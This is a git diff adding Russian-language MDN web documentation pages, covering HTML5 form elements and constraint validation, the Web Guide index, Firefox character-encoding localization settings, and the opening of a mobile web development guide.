+ <li><code>url</code>: Элемент представляет из себя поле для редактирования <a class="external" href="https://ru.wikipedia.org/wiki/URL" title="http://en.wikipedia.org/wiki/URL">URL</a>. Переходы строк и пробелы автоматически удаляются из значения <code>value</code>.</li>
+ <li>
+  <p><code>email</code>: Элемент представляет из себя поле для ввода одного адреса электронной почты. Переходы строк автоматически удаляются из значения <code>value</code>. Может быть предоставлен недействительный адрес эл. почты, но поле ввода запретит отправку формы, если эл. адрес почты не будет соответствовать нормам ABNF.</p>
+
+  <div class="note"><strong>Заметьте:</strong> Если установлен атрибут {{htmlattrxref("multiple", "input")}}, то может быть введено несколько адресов электронной почты, разделенных запятой, но, в данный момент, такая возможность не реализована в Firefox.</div>
+ </li>
+</ul>
+
+<p>Также, элемент {{HTMLElement("input")}} получил новые атрибуты:</p>
+
+<ul>
+ <li>{{htmlattrxref("list", "input")}}: ID элемента {{HTMLElement("datalist")}}, в котором элементы {{HTMLElement("option")}} используются как подсказки для текстового поля.</li>
+ <li>{{htmlattrxref("pattern", "input")}}: Регулярное выражение, по которому поверяются вводимые данные. Может использоваться в элементе {{htmlattrxref("type", "input")}} со значениями <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code>, <code>и email</code>.</li>
+ <li>{{htmlattrxref("form", "input")}}: Строка, указывающая, к какому элементу {{HTMLElement("form")}} принадлежит элемент. Элемент может быть частью только одной формы.</li>
+ <li>{{htmlattrxref("formmethod", "input")}}: Строка, указывающая метод передачи данных  (GET or POST), когда форма отправляется на сервер. Он перекрывает значение атрибута {{htmlattrxref("method", "form")}} элемента {{HTMLElement("form")}}, если установлен. Работает только, если {{htmlattrxref("type", "input")}} является <code>image</code> <code>или submit, </code>и если установлен атрибут {{htmlattrxref("form", "input")}}.</li>
+ <li>{{htmlattrxref("x-moz-errormessage", "input")}} {{non-standard_inline}}: Строка, указывающая на сообщение об ошибке, которое будет показано, если это поле не пройдет валидацию. Этот атрибут - расширение Mozilla и не является стандартом.</li>
+</ul>
+
+<h2 id="Текстовое_поле">Текстовое поле</h2>
+
+<p><code>&lt;input&gt;</code> с атрибутом <code>type="text"</code> определяет однострочное поле для ввода.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  Введите свое имя: &lt;input type="text" name="name"&gt;
+&lt;/form&gt;</pre>
+
+<h2 id="Флажок"><strong style="font-size: 2.142857142857143rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Флажок</strong></h2>
+
+<p><code>&lt;input&gt;</code> с атрибутом <code>type="checkbox"</code> определяет флажок.</p>
+
+<pre class="brush: html">&lt;input type="checkbox" name="chk" value="" checked&gt; Подписаться на рассылку</pre>
+
+<h2 id="The_form_element" name="The_form_element">Переключатель</h2>
+
+<p><code>&lt;input&gt;</code> с атрибутом <code>type="radio"</code> определяет радио кнопку.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="radio" name="animal" value="monkey"&gt;Обезьяна&lt;br&gt;
+  &lt;input type="radio" name="animal" value="cat"&gt;Кот&lt;br&gt;
+  <span style="font-size: 1rem;">&lt;input type="radio" name="</span>animal<span style="font-size: 1rem;">" value="other"&gt;Другое
+</span>&lt;/form&gt;</pre>
+
+<h2 id="The_form_element" name="The_form_element"><code>Элемент &lt;form&gt;</code></h2>
+
+<p>Элемент {{HTMLElement("form")}} получил новый атрибут:</p>
+
+<ul>
+ <li>{{htmlattrxref("novalidate", "form")}}: Этот атрибут предотвращает валидацию формы перед отправкой.</li>
+</ul>
+
+<h2 id="The_datalist_element" name="The_datalist_element"><code>Элемент &lt;datalist&gt;</code></h2>
+
+<p>Элемент {{HTMLElement("datalist")}} представляет собой список элементов {{HTMLElement("option")}}, который необходимо предложить при вводе поля {{HTMLElement("input")}}.</p>
+
+<p>Вы можете использовать атрибут {{htmlattrxref("list", "input")}} в элементе {{HTMLElement("input")}}, чтобы связать текстовое поле с элементом {{HTMLElement("datalist")}}.</p>
+
+<h2 id="The_output_element" name="The_output_element"><code>Элемент &lt;output&gt;</code></h2>
+
+<p>Элемент <code>{{HTMLElement("output")}}</code> представляет собой результат каких-либо вычислений.</p>
+
+<p>Вы можете использовать атрибут {{htmlattrxref("for", "output")}} для указания связи между элементом <code>{{HTMLElement("output")}}</code> и другими элементами в документе, которые повлияли на расчет (к примеру, поля для ввода параметров). Значением атрибута {{htmlattrxref("for", "output")}} является список ID других элементов, разделенный пробелами.</p>
+
+<p>{{non-standard_inline}} Gecko 2.0 (but not necessarily other browser engines) supports defining custom validity constraints and error messages for {{HTMLElement("output")}} elements, and therefore applies the {{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}}, and {{Cssxref(":-moz-ui-valid")}} CSS pseudo-classes to them. This can be helpful in situations where the calculated result violates a business rule, but no specific input value does (for example, "The total of percentages must not exceed 100").</p>
+
+<h2 id="The_placeholder_attribute" name="The_placeholder_attribute">Атрибут placeholder</h2>
+
+<p>Атрибут {{htmlattrxref("placeholder", "input")}} в элементах <code>{{HTMLElement("input")}}</code> и <code>{{HTMLElement("textarea")}}</code> отображает подсказки для пользователей, которые показывают, что можно ввести в эти поля. Текст в placeholder не должен содержать символов перевода строки или возврата каретки.</p>
+
+<h2 id="The_autofocus_attribute" name="The_autofocus_attribute">Атрибут autofocus</h2>
+
+<p>Атрибут {{htmlattrxref("autofocus", "input")}} позволяет указать для элемента формы автоматическое получение фокуса после полной загрузки страницы, если пользователь сам не переместит фокус на другой элемент, например, этот атрибут можно указать для различных полей ввода. Только один элемент в документе должен иметь этот атрибут, который содержит Boolean значение. Этот атрибут может быть установлен в <code>{{HTMLElement("input")}}</code>, <code>{{HTMLElement("button")}}</code>, <code>{{HTMLElement("select")}} </code>и <code>{{HTMLElement("textarea")}}</code> элементах.  {{htmlattrxref("autofocus", "input")}} нельзя установить в элементах input c атрибутом type установленным в значение hidden (это означает, что ты не можешь автоматически устанавливать фокус в скрытых полях).</p>
+
+<h2 id="The_label.control_DOM_property" name="The_label.control_DOM_property">DOM свойство label.control</h2>
+
+<p>DOM интерфейс <code><a href="/en-US/docs/DOM/HTMLLabelElement" title="DOM/HTMLLabelElement">HTMLLabelElement</a></code> , помимо свойств, относящихся к HTML элементу <code>{{HTMLElement("label")}}</code> , предоставляет дополнительное свойство <strong> control</strong>, возвращающее поле ввода, для которого предназначен <code>{{HTMLElement("label")}}</code>. Оно либо указывается в атрибуте <code>{{htmlattrxref("for", "label")}}</code> , либо является первым вложенным полем ввода.</p>
+
+<h2 id="Constraint_Validation" name="Constraint_Validation">Constraint Validation</h2>
+
+<p>HTML5 provides syntax and API items to support client-side validation of forms. While this functionality does not replace server-side validation, which is still necessary for security and data integrity, client-side validation can support a better user experience by giving the user immediate feedback about the input data.</p>
+
+<p>If the <code>title</code> attribute is set on the {{HTMLElement("input")}} element, its value is used as tooltip. However, if the validation fails, this tooltip text will be replaced with the associated error message. It is possible to customize this error message using the non-standard {{htmlattrxref("x-moz-errormessage")}} attribute or when calling the <code>setCustomValidity()</code> method.</p>
+
+<pre class="brush: html">&lt;input type="email" title="Please, provide an e-mail" x-moz-errormessage="This is not a valid e-mail"&gt;</pre>
+
+<div class="note"><strong>Note:</strong> Constraint validation is not supported on {{HTMLElement("button")}} elements in a form; to style a button based on the validity of the associated form, use the {{cssxref(":-moz-submit-invalid")}} pseudo-class.</div>
+
+<h3 id="HTML_Syntax_for_Constraint_Validation" name="HTML_Syntax_for_Constraint_Validation">HTML Syntax for Constraint Validation</h3>
+
+<p>The following items in HTML5 syntax can be used to specify constraints on form data.</p>
+
+<ul>
+ <li>The {{htmlattrxref("required", "input")}} attribute on the {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements indicates that a value must be supplied. (On the {{HTMLElement("input")}} element, {{htmlattrxref("required", "input")}} applies only in conjunction with certain values of the {{htmlattrxref("type", "input")}} attribute.)</li>
+ <li>The {{htmlattrxref("pattern", "input")}} attribute on the {{HTMLElement("input")}} element constrains the value to match a specific regular expression.</li>
+ <li>The {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes of the {{HTMLElement("input")}} element constrain the minimum and maximum values that can be entered.</li>
+ <li>The {{htmlattrxref("step", "input")}} attribute of the {{HTMLElement("input")}} element (when used in combination with the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes) constrains the granularity of values that can be entered. A value that does not correspond an allowed value step does not validate.</li>
+ <li>The {{htmlattrxref("maxlength", "input")}} attribute of the {{HTMLElement("input")}} and {{HTMLElement("textarea")}} elements constrains the maximum number of characters (in Unicode code points) that the user can enter.</li>
+ <li>The values <code>url</code> and <code>email</code> for the {{htmlattrxref("type", "input")}} constrain the value to being a valid URL or e-mail address, respectively.</li>
+</ul>
+
+<p>In addition, you can prevent constraint validation by specifying the {{htmlattrxref("novalidate", "form")}} attribute on the {{HTMLElement("form")}}, or the {{htmlattrxref("formnovalidate", "button")}} attribute on the {{HTMLElement("button")}} element and on the {{HTMLElement("input")}} element (when {{htmlattrxref("type", "input")}} is <code>submit</code> or <code>image</code>). These attributes indicate that the form is not to be validated when it is submitted.</p>
+
+<h3 id="Constraint_Validation_API" name="Constraint_Validation_API">Constraint Validation API</h3>
+
+<p>The following DOM properties and methods related to constraint validation are available to client-side scripts:</p>
+
+<ul>
+ <li>On <code><a href="/en-US/docs/DOM/HTMLFormElement" title="DOM/HTMLFormElement">HTMLFormElement</a></code> objects, the <code>checkValidity()</code> method, which returns true if all of this form element's associated elements that are subject to constraint validation satisfy their constraints, and false if any do not.</li>
+ <li>On <a href="/en-US/docs/HTML/Content_categories#Form-associated" title="HTML/Content Categories#form-associated">form-associated elements</a>:
+  <ul>
+   <li><code>willValidate</code> property, which is false if the element has constraints that are not satisfied.</li>
+   <li><code>validity</code> property, which is a <code><a href="/en-US/docs/DOM/ValidityState" title="DOM/ValidityState Interface">ValidityState</a></code> object representing the validity states that the element is in (i.e., constraint failure or success conditions).</li>
+   <li><code>validationMessage</code> property, which is a message describing any constraint failures that pertain to the element.</li>
+   <li><code>checkValidity()</code> method, which returns false if the element fails to satisfy any of its constraints, or true otherwise.</li>
+   <li><code>setCustomValidity()</code> method, which sets a custom validation message, allowing for constraints to be imposed and validated beyond those that are predefined.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Forms" title="/en-US/docs/HTML/Forms">HTML Forms Guide</a></li>
+</ul>
diff --git a/files/ru/web/guide/index.html b/files/ru/web/guide/index.html
new file mode 100644
index 0000000000..d71cb89e9e
--- /dev/null
+++ b/files/ru/web/guide/index.html
@@ -0,0 +1,70 @@
+---
+title: Руководства Web-разработчика
+slug: Web/Guide
+tags:
+  - Web
+  - Руководство
+translation_of: Web/Guide
+---
+<p><strong>Эти статьи помогут изучить веб-технологии и интерфейсы API.</strong></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/ru/docs/Learn/HTML">Изучение HTML: руководства и уроки</a></dt>
+ <dd class="landingPageList"><strong>Язык гипертекстовой разметки HTML (HyperText Markup Language)</strong> — это основной язык практически для всего веб-контента. Многое из того, что Вы видите в окне браузера, описано с помощью HTML.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Learn/CSS">Изучение CSS</a></dt>
+ <dd class="landingPageList">Каскадные таблицы стилей CSS (Cascading Style Sheets) — язык стилей, используемый для описания внешнего вида документа HTML.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Audio_and_video_delivery">Доставка аудио и видео контента</a></dt>
+ <dd class="landingPageList">Мы можем доставлять аудио и видео контент различными способами. Это могут быть как статичные медиа файлы, так и потоковые данные. Эта статья является отправной точкой в изучении различных механизмов доставки медиа ресурсов и совместимости работы с популярными браузерами.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Audio_and_video_manipulation">Обработка аудио и видео </a></dt>
+ <dd class="landingPageList">Веб-технологии примечательны тем, что они позволяют использовать различные инструменты в совокупности. Например, можно проводить манипуляции над имеющимися в браузере аудио и видео потоками с помощью {{htmlelement("canvas")}}, <a href="/en-US/docs/Web/WebGL">WebGL</a> или <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>: напрямую изменять аудио и видео, т.е. добавлять эффекты к аудио (реверберацию, компрессор), или к видео (фильтры ч/б, сепия и т.д.). В этой статье рассказывается о том, как это сделать.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Events">Руководство разработчика событий</a></dt>
+ <dd class="landingPageList">События связаны с:
+ <ul>
+  <li>Шаблонами проектирования, используемыми для асинхронной обработки инцидентов, возникающих в жизненном цикле веб страницы</li>
+  <li>Именованием, характеризацией и использованием большого количества инцидентов различного типа</li>
+ </ul>
+ </dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/AJAX">AJAX</a></dt>
+ <dd class="landingPageList">Это не технология сама по себе, а термин, который описывает «новый» подход к использованию существующих технологий вместе. АJAX включает: HTML или XHTML, CSS, JavaScript, DOM, XML, XSLT, и объект XMLHttpRequest. Когда эти технологии объединяются в модель AJAX, web-приложения способны делать быстрые дополняющие обновления интерфейса пользователя без необходимости полной перезагрузки страницы браузером. Приложения работают быстрее и становятся более отзывчивыми к действиям пользователей.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Графика">Графика для Web</a></dt>
+ <dd class="landingPageList">Современным веб-сайтам и веб-приложениям часто требуется отображать графику.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/API">Уроки по Web API</a></dt>
+ <dd class="landingPageList">Список всех веб-API и как они работают.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript" title="/ru/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd>Мощный скриптовый язык для создания приложений в Web.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Localizations_and_character_encodings">Локализация и кодировка символов</a></dt>
+ <dd class="landingPageList">По умолчанию браузер обрабатывает текст в кодировке Юникод (Unicode). При этом, при передаче информации через сеть (network) к браузеру символы кодируются байтами. Стандартом HTML рекомендуется использовать кодировку UTF-8 (так как она может представить любой Unicode символ) и обязательно объявлять, какая кодировка используется в документе.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/mobile">Веб-разработка под мобильные устройства</a></dt>
+ <dd class="landingPageList">На этой странице даётся обзор основных методов разработки веб-сайтов, корректно работающих на мобильных устройствах. См. также: <a href="/ru/docs/Mozilla/Firefox_для_Android">Firefox для Android</a>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Progressive_web_apps">Прогрессивные веб-приложения</a></dt>
+ <dd class="landingPageList">Прогрессивные веб-приложения используют современные веб-API вкупе со стратегией прогрессивного улучшения для создания кросс-платформенных приложений. Такие приложения запускаются везде и обладают рядом характеристик, обеспечивающих пользователей преимуществами, аналогичными тем, что доступны в нативных решениях.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Производительность">Оптимизация и производительность </a></dt>
+ <dd class="landingPageList">Создаваемые Вами современные веб-приложения и сайты должны иметь хорошую производительность - работать быстро и эффективно, как на персональных компьютерах (десктоп), так и на менее мощных мобильных устройствах.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Parsing_and_serializing_XML">Прямая и обратная обработка XML</a></dt>
+ <dd class="landingPageList">Различные методы обработки XML с помощью web платформы.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/WOFF">The Web Open Font Format (WOFF)</a></dt>
+ <dd class="landingPageList">WOFF — бесплатный файловый формат шрифтов.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/Unicode_Bidrectional_Text_Algorithm">Алгоритм обработки текста двусторонней направленности (Unicode Bidirectional Text Algorithm)</a></dt>
+ <dd class="landingPageList">Алгоритм является частью стандарта Юникод. Он описывает в каком порядке выставляет символы браузер при обработке текста Unicode. Руководство поможет при создании международного веб-контента.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/API/FormData/Using_FormData_Objects">Использование объектов FormData</a></dt>
+ <dd class="landingPageList">Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> позволяет создать набор пар ключ/значение и передать их, используя <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>.</code> Объект <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> предназначен для передачи данных форм, однако может быть использован для передачи пар ключ/значение независимо от форм. Данные передаются в том же формате, как и данные, передаваемые методом <code>{{domxref("HTMLFormElement.submit","submit()")}}</code> формы, с установленной кодировкой <code>enctype="multipart/form-data"</code>.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/User_input_methods">Пользовательский ввод и управление</a></dt>
+ <dd class="landingPageList">Это руководство содержит рекомендации по обработке пользовательского ввода и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Словарь">Словарь (глоссарий терминов)</a></dt>
+ <dd class="landingPageList">Определения и аббревиатуры в мире Web и Internet.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/Reference">Справочник по веб-технологиям </a></li>
+</ul>
diff --git a/files/ru/web/guide/localizations_and_character_encodings/index.html b/files/ru/web/guide/localizations_and_character_encodings/index.html
new file mode 100644
index 0000000000..1da05508fd
--- /dev/null
+++ b/files/ru/web/guide/localizations_and_character_encodings/index.html
@@ -0,0 +1,57 @@
+---
+title: Локализация и кодировка символов
+slug: Web/Guide/Localizations_and_character_encodings
+translation_of: Web/Guide/Localizations_and_character_encodings
+---
+<p>По умолчанию браузер обрабатывает текст в кодировке Юникод (Unicode). При этом, при передаче информации через сеть (network) к браузеру символы кодируются байтами (см. <a href="https://en.wikipedia.org/wiki/Character_encoding">кодирование символов</a>). <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset">Стандартом HTML</a> рекомендуется использовать кодировку UTF-8 (which can represent all of Unicode) and regardless of the encoding used requires Web content to declare what encoding was used.</p>
+
+<p>The {{HTMLElement("meta")}} element's {{htmlattrxref("charset", "meta")}} attribute is used to specify the page's character encoding. It <strong>must</strong> be used within a {{HTMLElement("head")}} block.</p>
+
+<p>To specify that a page is using, for example, the UTF-8 character encoding (as per the recommendation), simply place the following line in the {{HTMLElement("head")}} block:</p>
+
+<pre class="brush: html notranslate">&lt;meta charset="utf-8"&gt;
+</pre>
+
+<h2 id="Details_and_browser_internals">Details and browser internals</h2>
+
+<p>When the encoding is declared by Web content like the HTML specification requires, Firefox will use that encoding for turning the bytes into the internal representation. Unfortunately, using UTF-8 and declaring that UTF-8 was used was not always the prevalent way of offering Web content. In the 1990s, it was common to leave the encoding undeclared and to use a region-specific encoding that wasn't able to represent all of Unicode.</p>
+
+<p>Firefox needs a fallback encoding that it uses for non-conforming legacy content that doesn't declare its encoding. For most locales, the fallback encoding is windows-1252 (often called ISO-8859-1), which was the encoding emitted by most Windows applications in the 1990s and a superset of the encoding emitted by most UNIX applications in the 1990s as a deployed in the America has and in Western Europe. However, there are locales where Web publishing was common already in the 1990s but the windows-1252 encoding was not suitable for the local language. In these locales, legacy content that doesn't declare its encoding is typically encoded using a legacy encoding other than windows-1252. In order to work with legacy content, some Firefox localizations need a non-windows-1252 fallback encoding.</p>
+
+<p>Unfortunately, this means that the Web-exposed functionality of Firefox differs by locale and it is hard to read legacy content across locales with different fallback encodings. To avoid introducing this problem in locales where Web publishing took off after the adoption of UTF-8, locales that don't have a non-windows-1252 legacy encoding arising from the practices of the 1990s, should leave the fallback encoding at windows-1252 to facilitate reading content cross-locale from the old locales whose fallback encoding is windows-1252. New-authored locale-native UTF-8 content is expected to declare its encoding, in which case the fallback encoding does not participate in the processing of content.</p>
+
+<p>Additionally, there is a small number of locales where in the 1990s there wasn't an obvious single region-specific encoding and heuristic detection among multiple legacy encodings was introduced to Web browsers. This has then had the effect that Web authors have depended on heuristic detection being present, so Firefox still has heuristic detection in these locales.</p>
+
+<h2 id="Finding_canonical_encoding_names">Finding canonical encoding names</h2>
+
+<p>The text below refers to canonical names of encodings. The canonical names are the values to the right of the equals sign in <a href="https://mxr.mozilla.org/mozilla-central/source/intl/locale/unix/unixcharset.properties" title="https://mxr.mozilla.org/mozilla-central/source/intl/locale/unix/unixcharset.properties">unixcharset.properties</a>.</p>
+
+<h2 id="Specifying_the_fallback_encoding">Specifying the fallback encoding</h2>
+
+<p><strong>As of Firefox 28, this section is obsolete, since the preference <code>intl.charset.default</code> no longer exists. The mapping from locales onto fallback encodings is now built into Gecko itself.</strong></p>
+
+<p>The fallback encoding is specified by the preference <code>intl.charset.default</code> in <code>intl.properties</code>. It should be set to the canonical name of the legacy encoding that users of the localizations are most likely to encounter when browsing non-conforming legacy Web content that doesn't declare its encoding. Note that the fallback encoding as defined by the previous sentence does not necessarily need to be able to represent the characters needed for the language of the localization!</p>
+
+<p>The fallback encoding should be left to windows-1252 for Western European locales, North, Central and South American locales, African locales, Central Asian locales and Oceanian locales. It typically needs to be set to something other than windows-1252 for Central and Eastern European locales, Middle Eastern locales and East Asian locales.</p>
+
+<p>In order to avoid the problem of Web authors creating new UTF-8 content without declaring that the content uses UTF-8 and in order to maximize the ability of users to read content cross-locale, <em>do not</em> set the fallback encoding to UTF-8 for any newly-introduced localization. Note that Firefox no longer sends the <code>Accept-Charset</code> HTTP header, so there is no need to consider what gets advertised in <code>Accept-Charset</code> when setting the fallback encoding.</p>
+
+<p>For locales where the fallback encoding is currently ISO-8859-1, it should be changed to windows-1252. ISO-8859-1 is decoded in the exact same way as windows-1252, but Firefox is moving to treating windows-1252 as the preferred label for this encoding in accordance with the <a href="http://encoding.spec.whatwg.org/" title="http://encoding.spec.whatwg.org/">Encoding Standard</a>.</p>
+
+<p>For locales where Internet Explorer has more market share than Firefox, the fallback encoding should typically be set to the same value as in Internet Explorer. You can see the fallback encoding a particular browser has by loading a <a href="http://hsivonen.iki.fi/test/moz/check-charset.htm" title="http://hsivonen.iki.fi/test/moz/check-charset.htm">test page</a>. (Be sure to use a browser installation that has its settings left to the defaults when investigating!)</p>
+
+<p>For locales where Firefox has more market share than Internet Explorer, it's probably best not to change the fallback encoding even if it doesn't follow the guidance given above. (For example, the fallback encoding for the Polish, Hungarian and Czech locales should probably continue to be ISO-8859-2 even though IE has a different fallback encoding.)</p>
+
+<p>When in doubt, use windows-1252 as the fallback encoding.</p>
+
+<h2 id="Specifying_the_heuristic_detection_mode">Specifying the heuristic detection mode</h2>
+
+<p>The heuristic detection mode is specified by the preference <code>intl.charset.detector</code> in <code>intl.properties</code>. The setting <em>must</em> be left blank for all locales other than Russian, Ukrainian and Japanese. Do not under any circumstances specify the "universal" detector. It is <em>not actually universal</em> despite its name!</p>
+
+<h2 id="Exception_for_minority_languages">Exception for minority languages</h2>
+
+<p>If the localization is for minority language and the users are typically literate in the majority language of the region and read Web content written in the majority language very often, it is appropriate to specify the fallback encoding and the heuristic detection mode to be the same as for the localization for the majority language of the region. For example, for a localization for minority language in Russia, it is appropriate to copy the settings from the Russian localization.</p>
+
+<h2 id="Setting_some_encodings_to_be_more_easily_selectable_from_the_character_encoding_menu">Setting some encodings to be more easily selectable from the character encoding menu</h2>
+
+<p>The preference <code>intl.charsetmenu.browser.static</code> in <code>intl.properties</code> makes some character encodings more easily available in the Character Encoding menu in the browser. The value should be a comma-separated list of canonical encoding names. The list should include at least the fallback encoding, windows-1252 and UTF-8. For locales where there are multiple common legacy encodings, all those encodings should be included. For example, the fallback encoding for Japanese is Shift_JIS, but there are other legacy encodings: ISO-2022-JP and EUC-JP. Therefore, it makes sense for the list to be Shift_JIS, EUC-JP, ISO-2022-JP, windows-1252, UTF-8.</p>
diff --git a/files/ru/web/guide/mobile/index.html b/files/ru/web/guide/mobile/index.html
new file mode 100644
index 0000000000..e7eb95c172
--- /dev/null
+++ b/files/ru/web/guide/mobile/index.html
@@ -0,0 +1,75 @@
+---
+title: Веб-разработка под мобильные устройства
+slug: Web/Guide/mobile
+tags:
+  - Средний уровень
+translation_of: Web/Guide/Mobile
+---
+<p>На этой странице даётся обзор основных методов разработки веб-сайтов, корректно работающих на мобильных устройствах. Если вы ищете информацию о проекте Firefox OS от Mozilla, смотрите страницу <a href="/ru/docs/Archive/B2G_OS" title="Boot to Gecko">Firefox OS</a>. Возможно вас также интересует подробная информация о  <a href="/ru/docs/Mozilla/Firefox_%D0%B4%D0%BB%D1%8F_Android" title="Firefox for Android">Firefox для Android</a>.</p>
+
+<p>Статья разбита на два раздела: <a href="#разработка_под_мобильные_устройства">разработка под мобильные устройства</a> и <a href="#кросс_браузерная_верстка">кросс-браузерная совместимость</a>.<br>
+ См. также руководство от Jason Grlicky по <a href="/en-US/docs/Web_Development/Mobile/Mobile-friendliness" title="/en-US/docs/Web_Development/Mobile/Mobile-friendliness">дружелюбность-к-мобильным</a> для веб-разработчиков.</p>
+
+<h2 id="Разработка_под_мобильные_устройства"><a id="разработка_под_мобильные_устройства" name="разработка_под_мобильные_устройства">Разработка под мобильные устройства</a></h2>
+
+<p>По сравнению со стационарными компьютерами и ноутбуками у мобильных устройств гораздо больше различий в их аппаратной составляющей. Экраны мобильных устройств могут иметь как очень большое, так и очень маленькое разрешение. Помимо этого, они могут автоматически переключаться между вертикальной и горизонтальной ориентацией в момент, когда пользователь поворачивает устройство. Они обычно используют сенсорный экран для пользовательского ввода. Всевозможные API, например,  геолокация или ориентация, которые либо не поддерживаются или не используются на на стационарных компьютерах, предоставляют мобильным устройствам пользователей дополнительные способы взаимодействия с вашим сайтом.</p>
+
+<h3 id="Работа_с_маленькими_экранами">Работа с  маленькими экранами</h3>
+
+<p><a href="/en-US/docs/Web/Guide/Responsive_design" title="/en-US/docs/Web/Guide/Responsive_design">Адаптивный веб-дизайн</a> – это термин, означающий набор методов, позволяющих вашему веб-сайту адаптировать разметку под среду, в которой он просматривается. Как правило, это изменяющиеся размеры и ориентация. Основные методы адаптивного веб-дизайна:</p>
+
+<ul>
+ <li>обтекаемая разметка CSS, позволяющая плавно адаптировать страницу под изменяющиеся размеры окна</li>
+ <li>использование <a href="/en/CSS/Media_queries" title="en/CSS/Media_queries">медиа-запросов</a>, подключающих стили по условию, соответственно, <a href="/en/CSS/Media_queries#width" title="en/CSS/Media_queries#width">ширине</a> и <a href="/en/CSS/Media_queries#height" title="en/CSS/Media_queries#height">высоте</a> экрана.</li>
+</ul>
+
+<p><a href="/ru/docs/Mozilla/Mobile/Viewport_meta_tag" title="en/Mobile/Viewport_meta_tag">Meta-тег viewport</a> указывает браузеру, каким образом отображать ваш сайт в подходящем масштабе на устройстве пользователя.</p>
+
+<h3 id="Работа_с_сенсорными_экранами">Работа с сенсорными экранами</h3>
+
+<p>Для использования сенсорного экрана вам понадобится работать с <a href="/en/DOM/Touch_events" title="en/DOM/Touch_events">DOM Touch events</a>. Вы не сможете использовать псевдо класс <a href="/ru/docs/Web/CSS/:hover" title="En/CSS/:hover">CSS :hover</a>, а при проектировании интерактивных элементов (к примеру, кнопок) нужно будет учитывать тот факт, что пальцы толще, чем указатели мыши. Дополнительные материалы в статье <a class="external" href="https://web.archive.org/web/20150520130912/http://www.whatcreative.co.uk/blog/tips/designing-for-touch-screen/">проектирование под сенсорные экраны</a>.</p>
+
+<p>Вы можете использовать медиа-запрос <a href="/en/CSS/Media_queries#-moz-touch-enabled" title="en/CSS/Media_queries#-moz-touch-enabled">-moz-touch-enabled</a>, чтобы использовать нужные вам правила CSS на устройствах, поддерживающих обработку нажатий на экран.</p>
+
+<h3 id="Оптимизация_изображений">Оптимизация изображений</h3>
+
+<p>Чтобы помочь пользователям, чьи устройства имеют медленный или дорогой доступ к сети, вы можете оптимизировать изображения, загружая изображения под соответствующие размеры и разрешение экрана устройства. Это делается в CSS указывая в медиа-запросах <a href="/en/CSS/Media_queries#height" title="en/CSS/Media_queries#height">height</a>, <a href="/en/CSS/Media_queries#width" title="en/CSS/Media_queries#width">width</a>, и <a href="/en/CSS/Media_queries#-moz-device-pixel-ratio" title="en/CSS/Media_queries#-moz-device-pixel-ratio">pixel ratio</a>.</p>
+
+<p>Также вы можете использовать свойства CSS чтобы применить визуальные эффекты типа <a href="/en/CSS/Using_CSS_gradients" title="en/CSS/Using_CSS_gradients">gradients</a> и <a href="/En/CSS/Box-shadow" title="En/CSS/Box-shadow">shadows</a> без использования изображений.</p>
+
+<h3 id="API_для_мобильных_устройств">API для мобильных устройств</h3>
+
+<p>Наконец, вы можете воспользоваться преимуществом новых возможностей, предлагаемых мобильными устройствами, такие как <a href="/en/Detecting_device_orientation" title="en/Detecting_device_orientation">orientation</a> и <a href="/En/Using_geolocation" title="En/Using_geolocation">geolocation</a>.</p>
+
+<h2 id="Кросс-браузерная_верстка"><a id="кросс_браузерная_верстка" name="кросс_браузерная_верстка">Кросс-браузерная верстка</a></h2>
+
+<h3 id="Пишите_кросс-браузерный_код">Пишите кросс-браузерный код</h3>
+
+<p>Чтобы создавать веб-сайты, которые будут работать приемлемо во всех мобильных браузерах:</p>
+
+<ul>
+ <li>Старайтесь избегать использования стилей, специфических для браузеров, таких как свойства CSS с вендорными префиксами.</li>
+ <li>Если всё же вам необходимо ими воспользоваться, убедитесь что другие браузеры применяют свои собственные версии этих свойств, и укажите их.</li>
+ <li>Для браузеров, которые не поддерживают эти свойства, обеспечьте приемлемый упрощенный вариант.</li>
+</ul>
+
